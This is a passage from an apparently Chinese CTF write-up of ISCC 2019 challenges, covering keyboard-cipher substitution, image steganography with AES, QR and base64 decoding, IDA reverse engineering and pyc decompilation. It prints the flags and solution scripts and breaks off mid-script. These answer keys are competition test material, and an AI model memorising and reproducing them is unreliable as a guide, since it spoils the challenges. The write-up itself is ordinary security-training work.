<div id="crayon-5d0fe351b3c13379337311-10" class="crayon-line crayon-striped-line"><span class="crayon-v">STR</span> <span class="crayon-o">=</span> <span class="crayon-v">STR</span><span class="crayon-sy">.</span><span class="crayon-e">replace</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;IUYHNBV&#8221;</span><span class="crayon-sy">,</span><span class="crayon-s">&#8216;s&#8217;</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c13379337311-11" class="crayon-line"><span class="crayon-v">STR</span> <span class="crayon-o">=</span> <span class="crayon-v">STR</span><span class="crayon-sy">.</span><span class="crayon-e">replace</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;QWERTY&#8221;</span><span class="crayon-sy">,</span><span class="crayon-s">&#8216; &#8216;</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c13379337311-12" class="crayon-line crayon-striped-line"><span class="crayon-v">STR</span> <span class="crayon-o">=</span> <span class="crayon-v">STR</span><span class="crayon-sy">.</span><span class="crayon-e">replace</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;TRFVB&#8221;</span><span class="crayon-sy">,</span><span class="crayon-s">&#8216;c&#8217;</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c13379337311-13" class="crayon-line"><span class="crayon-v">STR</span> <span class="crayon-o">=</span> <span class="crayon-v">STR</span><span class="crayon-sy">.</span><span class="crayon-e">replace</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;QAZSCE&#8221;</span><span class="crayon-sy">,</span><span class="crayon-s">&#8216;k&#8217;</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c13379337311-14" class="crayon-line crayon-striped-line"><span class="crayon-v">STR</span> <span class="crayon-o">=</span> <span class="crayon-v">STR</span><span class="crayon-sy">.</span><span class="crayon-e">replace</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;NBVCXSWERF&#8221;</span><span class="crayon-sy">,</span><span class="crayon-s">&#8216;p&#8217;</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c13379337311-15" class="crayon-line"><span class="crayon-v">STR</span> <span class="crayon-o">=</span> <span class="crayon-v">STR</span><span class="crayon-sy">.</span><span class="crayon-e">replace</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;MNBVCDRTGHU&#8221;</span><span class="crayon-sy">,</span><span class="crayon-s">&#8216;r&#8217;</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c13379337311-16" class="crayon-line crayon-striped-line"><span class="crayon-v">STR</span> <span class="crayon-o">=</span> <span class="crayon-v">STR</span><span class="crayon-sy">.</span><span class="crayon-e">replace</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;WSX&#8221;</span><span class="crayon-sy">,</span><span class="crayon-s">&#8216;i&#8217;</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c13379337311-17" class="crayon-line"><span class="crayon-v">STR</span> <span class="crayon-o">=</span> <span class="crayon-v">STR</span><span class="crayon-sy">.</span><span class="crayon-e">replace</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;EFVT&#8221;</span><span class="crayon-sy">,</span><span class="crayon-s">&#8216;y&#8217;</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c13379337311-18" class="crayon-line crayon-striped-line"><span class="crayon-v">STR</span> <span class="crayon-o">=</span> <span class="crayon-v">STR</span><span class="crayon-sy">.</span><span class="crayon-e">replace</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;YHNMKJ&#8221;</span><span class="crayon-sy">,</span><span class="crayon-s">&#8216;b&#8217;</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c13379337311-19" class="crayon-line"><span class="crayon-v">STR</span> <span class="crayon-o">=</span> <span class="crayon-v">STR</span><span class="crayon-sy">.</span><span class="crayon-e">replace</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;ZAQWDVFR&#8221;</span><span class="crayon-sy">,</span><span class="crayon-s">&#8216;n&#8217;</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c13379337311-20" class="crayon-line crayon-striped-line"><span class="crayon-v">STR</span> <span class="crayon-o">=</span> <span class="crayon-v">STR</span><span class="crayon-sy">.</span><span class="crayon-e">replace</span><span class="crayon-sy">(</span><span class="crayon-s">&#8216;XSWEFTYHNXSWEFTYHN&#8217;</span><span class="crayon-sy">,</span><span class="crayon-s">&#8216;m&#8217;</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c13379337311-21" class="crayon-line"><span class="crayon-v">STR</span> <span class="crayon-o">=</span> <span class="crayon-v">STR</span><span class="crayon-sy">.</span><span class="crayon-e">replace</span><span class="crayon-sy">(</span><span class="crayon-s">&#8216;EFVGYWDCFT&#8217;</span><span class="crayon-sy">,</span><span class="crayon-s">&#8216;w&#8217;</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c13379337311-22" class="crayon-line crayon-striped-line"><span class="crayon-v">STR</span> <span class="crayon-o">=</span> <span class="crayon-v">STR</span><span class="crayon-sy">.</span><span class="crayon-e">replace</span><span class="crayon-sy">(</span><span class="crayon-s">&#8216;TYUIOJM&#8217;</span><span class="crayon-sy">,</span><span class="crayon-s">&#8216;t&#8217;</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c13379337311-23" class="crayon-line"><span class="crayon-v">STR</span> <span class="crayon-o">=</span> <span class="crayon-v">STR</span><span class="crayon-sy">.</span><span class="crayon-e">replace</span><span class="crayon-sy">(</span><span class="crayon-s">&#8216;QAZXCDEWV&#8217;</span><span class="crayon-sy">,</span><span class="crayon-s">&#8216;t&#8217;</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c13379337311-24" class="crayon-line crayon-striped-line"><span class="crayon-v">STR</span> <span class="crayon-o">=</span> <span class="crayon-v">STR</span><span class="crayon-sy">.</span><span class="crayon-e">replace</span><span class="crayon-sy">(</span><span class="crayon-s">&#8216;XSWEFTYHN&#8217;</span><span class="crayon-sy">,</span><span class="crayon-s">&#8216;m&#8217;</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c13379337311-25" class="crayon-line"><span class="crayon-v">STR</span> <span class="crayon-o">=</span> <span class="crayon-v">STR</span><span class="crayon-sy">.</span><span class="crayon-e">replace</span><span class="crayon-sy">(</span><span class="crayon-s">&#8216;EFVGY&#8217;</span><span class="crayon-sy">,</span><span class="crayon-s">&#8216;v&#8217;</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c13379337311-26" class="crayon-line crayon-striped-line"><span class="crayon-v">STR</span> <span class="crayon-o">=</span> <span class="crayon-v">STR</span><span class="crayon-sy">.</span><span class="crayon-e">replace</span><span class="crayon-sy">(</span><span class="crayon-s">&#8216;RGNYGC&#8217;</span><span class="crayon-sy">,</span><span class="crayon-s">&#8216;x&#8217;</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c13379337311-27" class="crayon-line"><span class="crayon-v">STR</span> <span class="crayon-o">=</span> <span class="crayon-v">STR</span><span class="crayon-sy">.</span><span class="crayon-e">replace</span><span class="crayon-sy">(</span><span class="crayon-s">&#8216;TRFVG&#8217;</span><span class="crayon-sy">,</span> <span class="crayon-s">&#8216;f&#8217;</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c13379337311-28" class="crayon-line crayon-striped-line"><span class="crayon-e">print</span><span class="crayon-sy">(</span><span class="crayon-v">STR</span><span class="crayon-sy">)</span><span class="crayon-sy">.</span><span class="crayon-e">upper</span><span class="crayon-sy">(</span><span class="crayon-sy">)</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p class="md-end-block md-p"><span class="md-plain">解出来</span></p>
<div id="crayon-5d0fe351b3c19171762417" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3c19171762417-1">1</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3c19171762417-1" class="crayon-line"><span class="crayon-v">HELLO</span><span class="crayon-sy">,</span><span class="crayon-st">IN</span> <span class="crayon-e">COMPUTER </span><span class="crayon-v">SECURITY</span><span class="crayon-sy">,</span> <span class="crayon-e">CAPTURE </span><span class="crayon-e">THEFLAG</span> <span class="crayon-sy">(</span><span class="crayon-v"><span class="wpcom_tag_link"><a href="/tags/ctf" title="CTF" target="_blank">CTF</a></span></span><span class="crayon-sy">)</span><span class="crayon-sy">,</span> <span class="crayon-i">A</span> <span class="crayon-e">TYPE </span><span class="crayon-e">OF </span><span class="crayon-v">CRYPTOSPORT</span><span class="crayon-sy">,</span> <span class="crayon-st">IS</span> <span class="crayon-i">A</span> <span class="crayon-e">COMPUTER </span><span class="crayon-e">SECURITY </span><span class="crayon-v">COMPETITION</span><span class="crayon-sy">.</span> <span class="crayon-e">CTF </span><span class="crayon-e">CONTESTS </span><span class="crayon-e">ARE </span><span class="crayon-e">USUALLY </span><span class="crayon-e">DESLGREDNED </span><span class="crayon-st">TO</span> <span class="crayon-e">SERVE </span><span class="crayon-st">AS</span> <span class="crayon-e">AN </span><span class="crayon-e">EDUCATIONAL </span><span class="crayon-e">EXERCISE </span><span class="crayon-st">TO</span> <span class="crayon-e">GIVE </span><span class="crayon-e">PARTICIPANTS </span><span class="crayon-e">EXPERIENCE </span><span class="crayon-st">IN</span> <span class="crayon-i">SECURING</span> <span class="crayon-i">A</span> <span class="crayon-v">MACHINE</span><span class="crayon-sy">,</span> <span class="crayon-st">AS</span> <span class="crayon-e">WELL </span><span class="crayon-st">AS</span> <span class="crayon-e">CONDUCTING </span><span class="crayon-st">AND</span> <span class="crayon-e">REACTING </span><span class="crayon-st">TO</span> <span class="crayon-e">THE </span><span class="crayon-e">SORT </span><span class="crayon-e">OF </span><span class="crayon-e">ATTACKSFOUND </span><span class="crayon-st">IN</span> <span class="crayon-e">THE </span><span class="crayon-e">REAL </span><span class="crayon-e">WORLD</span> <span class="crayon-sy">(</span><span class="crayon-v">I</span><span class="crayon-sy">.</span><span class="crayon-v">E</span><span class="crayon-sy">.</span><span class="crayon-sy">,</span> <span class="crayon-e">BUG </span><span class="crayon-e">BOUNTY </span><span class="crayon-e">PROGRAMS </span><span class="crayon-st">IN</span> <span class="crayon-e">PROFESSIONAL </span><span class="crayon-v">SETTINGS</span><span class="crayon-sy">)</span><span class="crayon-sy">.</span> <span class="crayon-e">HERE</span> <span class="crayon-e">ARE</span> <span class="crayon-e">YOURFLAG</span><span class="crayon-sy">{</span><span class="crayon-e">ISCC </span><span class="crayon-e">KEYBOARD </span><span class="crayon-v">CIPHER</span><span class="crayon-sy">}</span> <span class="crayon-v">REVERSE</span><span class="crayon-o">&#8211;</span><span class="crayon-v">ENGINEERING</span><span class="crayon-sy">,</span> <span class="crayon-e">NETWORK </span><span class="crayon-v">SNIFFING</span><span class="crayon-sy">,</span> <span class="crayon-e">PROTOCOL </span><span class="crayon-v">ANALYSIS</span><span class="crayon-sy">,</span> <span class="crayon-e">SYSTEM </span><span class="crayon-v">ADMINISTRATION</span><span class="crayon-sy">,</span> <span class="crayon-v">PROGRAMING</span><span class="crayon-sy">,</span> <span class="crayon-st">AND</span> <span class="crayon-e">CRYPTANALYSIS </span><span class="crayon-e">ARE </span><span class="crayon-e">ALL </span><span class="crayon-e">SKILLS </span><span class="crayon-e">WHICH </span><span class="crayon-e">HAVE </span><span class="crayon-e">BEEN </span><span class="crayon-e">RETUIRED </span><span class="crayon-e">BY </span><span class="crayon-e">PRIOR </span><span class="crayon-e">CTF </span><span class="crayon-e">CONTESTS </span><span class="crayon-e">AT </span><span class="crayon-e">DEF </span><span class="crayon-v">CON</span><span class="crayon-sy">.</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p class="md-end-block md-p"><span spellcheck="false"><code>FLAG{ISCC KEYBOARD CIPHER}</code></span></p>
<p class="md-end-block md-p"><span class="md-plain">ps:我真的觉得加密好烦</span></p>
<h1 class="md-end-block md-heading"><span class="md-plain">Aesop&#8217;s secret</span></h1>
<p class="md-end-block md-p"><span class="md-plain">给了一张gif图片 用ps打开 发现</span></p>
<p class="md-end-block md-p"><span class="md-image" data-src="https://y4er.com/img/uploads/20190505161358.png"><img src="https://y4er.com/img/uploads/20190505161358.png" alt="ISCC 2019部分writeup-ChaBug安全" /></span></p>
<p class="md-end-block md-p"><span class="md-plain">stegsolve file format</span></p>
<p class="md-end-block md-p"><span class="md-image" data-src="https://y4er.com/img/uploads/20190505161426.png"><img src="https://y4er.com/img/uploads/20190505161426.png" alt="ISCC 2019部分writeup-ChaBug安全" /></span></p>
<div id="crayon-5d0fe351b3c1b924788753" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3c1b924788753-1">1</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3c1b924788753-1" class="crayon-line"><span class="crayon-e">U2FsdGVk </span><span class="crayon-e">X19QwGkc </span><span class="crayon-e">gD0fTjZx </span><span class="crayon-e">gijRzQOG </span><span class="crayon-e">bCWALh4s </span><span class="crayon-e">RDec2w6x </span><span class="crayon-v">sY</span><span class="crayon-o">/</span><span class="crayon-e">ux53V </span><span class="crayon-v">uj</span><span class="crayon-o">/</span><span class="crayon-e">AMZBD </span><span class="crayon-e">J87qyZL5 </span><span class="crayon-i">kAf1fmAH</span> <span class="crayon-cn">4Oe13Iu4</span> <span class="crayon-cn">35bfRBuZ</span> <span class="crayon-e">gHpnRjTB </span><span class="crayon-v">n5</span><span class="crayon-o">+</span><span class="crayon-e">xsDHO </span><span class="crayon-v">NiR3t0</span><span class="crayon-o">+</span><span class="crayon-i">O</span> <span class="crayon-v">a8yG</span><span class="crayon-o">/</span><span class="crayon-e">tOK </span><span class="crayon-e">JMNUaued </span><span class="crayon-e">vMyN4v4Q </span><span class="crayon-v">KiFunw</span><span class="crayon-o">==</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p class="md-end-block md-p"><span class="md-plain">aes加密 密匙是ISCC也就是图片中的</span></p>
<p class="md-end-block md-p"><span class="md-plain">两次aes解密后</span><span spellcheck="false"><code>flag{DugUpADiamondADeepDarkMine}</code></span></p>
<h1 class="md-end-block md-heading"><span class="md-plain">他们能在一起吗？</span></h1>
<p class="md-end-block md-p"><span class="md-image" data-src="https://y4er.com/img/uploads/20190508161111.png"><img src="https://y4er.com/img/uploads/20190508161111.png" alt="ISCC 2019部分writeup-ChaBug安全" /></span><span class="md-plain">送分题</span> <span class="md-plain">扫码得出base64</span><span spellcheck="false"><code>UEFTUyU3QjBLX0lfTDBWM19ZMHUlMjElN0Q=</code></span> <span class="md-plain">解密后</span><span spellcheck="false"><code>PASS{0K_I_L0V3_Y0u!}</code></span></p>
<p class="md-end-block md-p"><span class="md-plain">然后图片分离压缩包，解压密码是上面那个，解压后拿到flag</span></p>
<h1 class="md-end-block md-heading"><span class="md-plain">Reverse answer to everything</span></h1>
<p class="md-end-block md-p"><span class="md-plain">sha1 得到了一个神秘的二进制文件。寻找文件中的flag，解锁宇宙的秘密。</span> <span class="md-plain">注意：将得到的flag变为ISCC{flag}形式提交。</span></p>
<p class="md-end-block md-p"><span class="md-plain">拖到ida中，main函数f5。</span></p>
<p class="md-end-block md-p"><span class="md-image" data-src="https://y4er.com/img/uploads/20190501183339.png"><img src="https://y4er.com/img/uploads/20190501183339.png" alt="ISCC 2019部分writeup-ChaBug安全" /></span></p>
<p class="md-end-block md-p"><span spellcheck="false"><code>not_the_flag(v4)</code></span><span class="md-plain">跟进</span></p>
<div id="crayon-5d0fe351b3c1d150080352" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3c1d150080352-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c1d150080352-2">2</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c1d150080352-3">3</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c1d150080352-4">4</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c1d150080352-5">5</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3c1d150080352-1" class="crayon-line"><span class="crayon-st">if</span> <span class="crayon-sy">(</span> <span class="crayon-v">a1</span> <span class="crayon-o">==</span> <span class="crayon-cn">42</span> <span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c1d150080352-2" class="crayon-line crayon-striped-line"><span class="crayon-h">    </span><span class="crayon-e">puts</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;Cipher from Bill \nSubmit without any tags\n#kdudpeh&#8221;</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3c1d150080352-3" class="crayon-line"><span class="crayon-h">  </span><span class="crayon-st">else</span></div>
<div id="crayon-5d0fe351b3c1d150080352-4" class="crayon-line crayon-striped-line"><span class="crayon-h">    </span><span class="crayon-e">puts</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;YOUSUCK&#8221;</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3c1d150080352-5" class="crayon-line"><span class="crayon-h">  </span><span class="crayon-st">return</span> <span class="crayon-cn">0LL</span><span class="crayon-sy">;</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p class="md-end-block md-p"><span class="md-plain">将</span><span spellcheck="false"><code>kdudpeh</code></span><span class="md-plain">sha1加密后就是flag，注意格式。</span></p>
<h1 class="md-end-block md-heading"><span class="md-plain">简单Python</span></h1>
<p class="md-end-block md-p"><span class="md-plain">给了个pyc文件，用</span><span spellcheck="false"><code>uncompyle</code></span><span class="md-plain">反编译下</span></p>
<p class="md-end-block md-p"><span class="md-plain">最好使用Linux pip安装 </span><span spellcheck="false"><code>pip install uncompyle</code></span></p>
<div id="crayon-5d0fe351b3c1f117739873" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3c1f117739873-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c1f117739873-2">2</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c1f117739873-3">3</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3c1f117739873-1" class="crayon-line"><span class="crayon-v">uncompyle6</span> <span class="crayon-o">&#8212;</span><span class="crayon-i">help</span>查看帮助</div>
<div id="crayon-5d0fe351b3c1f117739873-2" class="crayon-line crayon-striped-line"><span class="crayon-e">uncompyle6 </span><span class="crayon-v">models</span><span class="crayon-sy">.</span><span class="crayon-v">pyc</span> <span class="crayon-o">&gt;</span> <span class="crayon-v">models</span><span class="crayon-sy">.</span><span class="crayon-i">py</span> 将<span class="crayon-v">models</span><span class="crayon-sy">.</span><span class="crayon-i">pyc</span>反编译成<span class="crayon-i">py</span>文件</div>
<div id="crayon-5d0fe351b3c1f117739873-3" class="crayon-line"><span class="crayon-v">uncompile</span> <span class="crayon-o">&#8211;</span><span class="crayon-i">o</span> <span class="crayon-sy">.</span> <span class="crayon-o">*</span><span class="crayon-sy">.</span><span class="crayon-i">pyc</span> 将当前文件夹中所有的<span class="crayon-i">pyc</span>文件反编译成后缀名为<span class="crayon-sy">.</span><span class="crayon-v">pyc</span><span class="crayon-sy">_</span>dis的源文件</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p class="md-end-block md-p"><span class="md-plain">uncompyle6 pyc.pyc</span></p>
<div id="crayon-5d0fe351b3c21392876681" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3c21392876681-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c21392876681-2">2</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c21392876681-3">3</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c21392876681-4">4</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c21392876681-5">5</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c21392876681-6">6</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c21392876681-7">7</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c21392876681-8">8</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c21392876681-9">9</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c21392876681-10">10</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c21392876681-11">11</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c21392876681-12">12</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c21392876681-13">13</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c21392876681-14">14</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c21392876681-15">15</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c21392876681-16">16</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c21392876681-17">17</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c21392876681-18">18</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c21392876681-19">19</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3c21392876681-1" class="crayon-line"><span class="crayon-e">import </span><span class="crayon-e">base64</span></div>
<div id="crayon-5d0fe351b3c21392876681-2" class="crayon-line crayon-striped-line"></div>
<div id="crayon-5d0fe351b3c21392876681-3" class="crayon-line"><span class="crayon-e">def </span><span class="crayon-e">encode</span><span class="crayon-sy">(</span><span class="crayon-v">message</span><span class="crayon-sy">)</span><span class="crayon-o">:</span></div>
<div id="crayon-5d0fe351b3c21392876681-4" class="crayon-line crayon-striped-line"><span class="crayon-h">    </span><span class="crayon-v">s</span> <span class="crayon-o">=</span> <span class="crayon-s">&#8221;</span></div>
<div id="crayon-5d0fe351b3c21392876681-5" class="crayon-line"><span class="crayon-h">    </span><span class="crayon-st">for</span> <span class="crayon-i">i</span> <span class="crayon-st">in</span> <span class="crayon-v">message</span><span class="crayon-o">:</span></div>
<div id="crayon-5d0fe351b3c21392876681-6" class="crayon-line crayon-striped-line"><span class="crayon-h">        </span><span class="crayon-v">x</span> <span class="crayon-o">=</span> <span class="crayon-e">ord</span><span class="crayon-sy">(</span><span class="crayon-v">i</span><span class="crayon-sy">)</span> <span class="crayon-o">^</span> <span class="crayon-cn">32</span></div>
<div id="crayon-5d0fe351b3c21392876681-7" class="crayon-line"><span class="crayon-h">        </span><span class="crayon-v">x</span> <span class="crayon-o">=</span> <span class="crayon-v">x</span> <span class="crayon-o">+</span> <span class="crayon-cn">16</span></div>
<div id="crayon-5d0fe351b3c21392876681-8" class="crayon-line crayon-striped-line"><span class="crayon-h">        </span><span class="crayon-v">s</span> <span class="crayon-o">+=</span> <span class="crayon-e">chr</span><span class="crayon-sy">(</span><span class="crayon-v">x</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c21392876681-9" class="crayon-line"></div>
<div id="crayon-5d0fe351b3c21392876681-10" class="crayon-line crayon-striped-line"><span class="crayon-h">    </span><span class="crayon-st">return</span> <span class="crayon-v">base64</span><span class="crayon-sy">.</span><span class="crayon-e">b64encode</span><span class="crayon-sy">(</span><span class="crayon-v">s</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c21392876681-11" class="crayon-line"></div>
<div id="crayon-5d0fe351b3c21392876681-12" class="crayon-line crayon-striped-line"><span class="crayon-v">correct</span> <span class="crayon-o">=</span> <span class="crayon-s">&#8216;eYNzc2tjWV1gXFWPYGlTbQ==&#8217;</span></div>
<div id="crayon-5d0fe351b3c21392876681-13" class="crayon-line"><span class="crayon-v">flag</span> <span class="crayon-o">=</span> <span class="crayon-s">&#8221;</span></div>
<div id="crayon-5d0fe351b3c21392876681-14" class="crayon-line crayon-striped-line"><span class="crayon-i">print</span> <span class="crayon-s">&#8216;Input flag:&#8217;</span></div>
<div id="crayon-5d0fe351b3c21392876681-15" class="crayon-line"><span class="crayon-v">flag</span> <span class="crayon-o">=</span> <span class="crayon-e">raw_input</span><span class="crayon-sy">(</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c21392876681-16" class="crayon-line crayon-striped-line"><span class="crayon-st">if</span> <span class="crayon-e">encode</span><span class="crayon-sy">(</span><span class="crayon-v">flag</span><span class="crayon-sy">)</span> <span class="crayon-o">==</span> <span class="crayon-v">correct</span><span class="crayon-o">:</span></div>
<div id="crayon-5d0fe351b3c21392876681-17" class="crayon-line"><span class="crayon-h">    </span><span class="crayon-i">print</span> <span class="crayon-s">&#8216;correct&#8217;</span></div>
<div id="crayon-5d0fe351b3c21392876681-18" class="crayon-line crayon-striped-line"><span class="crayon-st">else</span><span class="crayon-o">:</span></div>
<div id="crayon-5d0fe351b3c21392876681-19" class="crayon-line"><span class="crayon-h">    </span><span class="crayon-i">print</span> <span class="crayon-s">&#8216;wrong&#8217;</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p class="md-end-block md-p"><span class="md-plain">自定义了加密方法</span><span spellcheck="false"><code>encode</code></span></p>
<p class="md-end-block md-p"><span class="md-plain">给出我的逆向解密脚本</span></p>
<div id="crayon-5d0fe351b3c22818994869" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3c22818994869-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c22818994869-2">2</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c22818994869-3">3</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c22818994869-4">4</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c22818994869-5">5</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c22818994869-6">6</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c22818994869-7">7</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c22818994869-8">8</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c22818994869-9">9</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c22818994869-10">10</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c22818994869-11">11</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c22818994869-12">12</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c22818994869-13">13</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c22818994869-14">14</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c22818994869-15">15</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c22818994869-16">16</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c22818994869-17">17</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c22818994869-18">18</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3c22818994869-1" class="crayon-line"><span class="crayon-e">import </span><span class="crayon-e">base64</span></div>
<div id="crayon-5d0fe351b3c22818994869-2" class="crayon-line crayon-striped-line"><span class="crayon-e">def </span><span class="crayon-e">encode</span><span class="crayon-sy">(</span><span class="crayon-v">message</span><span class="crayon-sy">)</span><span class="crayon-o">:</span></div>
<div id="crayon-5d0fe351b3c22818994869-3" class="crayon-line"><span class="crayon-h">    </span><span class="crayon-v">s</span> <span class="crayon-o">=</span> <span class="crayon-s">&#8221;</span></div>
<div id="crayon-5d0fe351b3c22818994869-4" class="crayon-line crayon-striped-line"><span class="crayon-h">    </span><span class="crayon-st">for</span> <span class="crayon-i">i</span> <span class="crayon-st">in</span> <span class="crayon-v">message</span><span class="crayon-o">:</span></div>
